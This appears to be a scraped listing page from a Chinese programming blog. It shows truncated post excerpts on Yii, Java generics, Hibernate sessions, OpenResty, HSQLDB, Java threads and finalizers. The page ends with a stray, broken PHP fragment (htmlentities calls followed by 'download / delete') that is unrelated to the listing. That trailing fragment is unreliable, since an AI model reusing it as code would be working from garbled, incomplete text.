                                    dcj3sjt126com
PHPyii
                                    
    1，CGridView中的columns添加 
array(
                        'selectableRows' => 2,
                        'footer' => '<button type="button" onclick="GetCheckbox();" style=&
    
                                
    • 
                                
  • Java中泛型的各种使用
                                    dyy_gusi
java泛型
                                    
    Java中的泛型的使用：1.普通的泛型使用 
在使用类的时候后面的<>中的类型就是我们确定的类型。 
public class MyClass1<T> {//此处定义的泛型是T
    private T var;

    public T getVar() {
        return var;
    }

    public void setVa
    
                                
    • 
                                
  • Web开发技术十年发展历程
                                    gcq511120594
Web浏览器数据挖掘
                                    
    回顾web开发技术这十年发展历程： 
Ajax 
03年的时候我上六年级，那时候网吧刚在小县城的角落萌生。传奇，大话西游第一代网游一时风靡。我抱着试一试的心态给了网吧老板两块钱想申请个号玩玩，然后接下来的一个小时我一直在，注，册，账，号。 
彼时网吧用的512k的带宽，注册的时候，填了一堆信息，提交，页面跳转，嘣，”您填写的信息有误，请重填”。然后跳转回注册页面，以此循环。我现在时常想，如果当时a
    
                                
    • 
                                
  • openSession()与getCurrentSession()区别：
                                    hetongfei
javaDAOHibernate
                                    
    来自 http://blog.csdn.net/dy511/article/details/6166134 
1.getCurrentSession创建的session会和绑定到当前线程,而openSession不会。 
2. getCurrentSession创建的线程会在事务回滚或事物提交后自动关闭,而openSession必须手动关闭。 
这里getCurrentSession本地事务(本地
    
                                
    • 
                                
  • 第一章 安装Nginx+Lua开发环境
                                    jinnianshilongnian
nginxluaopenresty
                                    
    首先我们选择使用OpenResty，其是由Nginx核心加很多第三方模块组成，其最大的亮点是默认集成了Lua开发环境，使得Nginx可以作为一个Web Server使用。借助于Nginx的事件驱动模型和非阻塞IO，可以实现高性能的Web应用程序。而且OpenResty提供了大量组件如Mysql、Redis、Memcached等等，使在Nginx上开发Web应用更方便更简单。目前在京东如实时价格、秒
    
                                
    • 
                                
  • HSQLDB In-Process方式访问内存数据库
                                    liyonghui160com

                                    
      
  
HSQLDB一大特色就是能够在内存中建立数据库，当然它也能将这些内存数据库保存到文件中以便实现真正的持久化。 
  
先睹为快！ 
  
下面是一个In-Process方式访问内存数据库的代码示例： 
  
  
下面代码需要引入hsqldb.jar包 （hsqldb-2.2.8） 
  
import java.s
    
                                
    • 
                                
  • Java线程的5个使用技巧
                                    pda158
java数据结构
                                    
    Java线程有哪些不太为人所知的技巧与用法？   　　萝卜白菜各有所爱。像我就喜欢Java。学无止境，这也是我喜欢它的一个原因。日常 
工作中你所用到的工具，通常都有些你从来没有了解过的东西，比方说某个方法或者是一些有趣的用法。比如说线程。没错，就是线程。或者确切说是Thread这个类。当我们在构建高可扩展性系统的时候，通常会面临各种各样的并发编程的问题，不过我们现在所要讲的可能会略有不同。   
    
                                
    • 
                                
  • 开发资源大整合：编程语言篇——JavaScript（1）
                                    shoothao
JavaScript
                                    
    概述：本系列的资源整合来自于github中各个领域的大牛，来收藏你感兴趣的东西吧。           
  程序包管理器  
  管理javascript库并提供对这些库的快速使用与打包的服务。 
 
  Bower - 用于web的程序包管理。 
  component - 用于客户端的程序包管理，构建更好的web应用程序。 
  spm - 全新的静态的文件包管
    
                                
    • 
                                
  • 避免使用终结函数
                                    vahoa.ma
javajvmC++
                                    
    终结函数（finalizer）通常是不可预测的，常常也是很危险的，一般情况下不是必要的。使用终结函数会导致不稳定的行为、更差的性能，以及带来移植性问题。不要把终结函数当做C++中的析构函数（destructors）的对应物。 
  
    我自己总结了一下这一条的综合性结论是这样的： 
1）在涉及使用资源，使用完毕后要释放资源的情形下，首先要用一个显示的方
    
                                
    • 
                

            

        

    
' . htmlentities($func) . 'Opt
' . htmlentities($value) . '下载 / 删除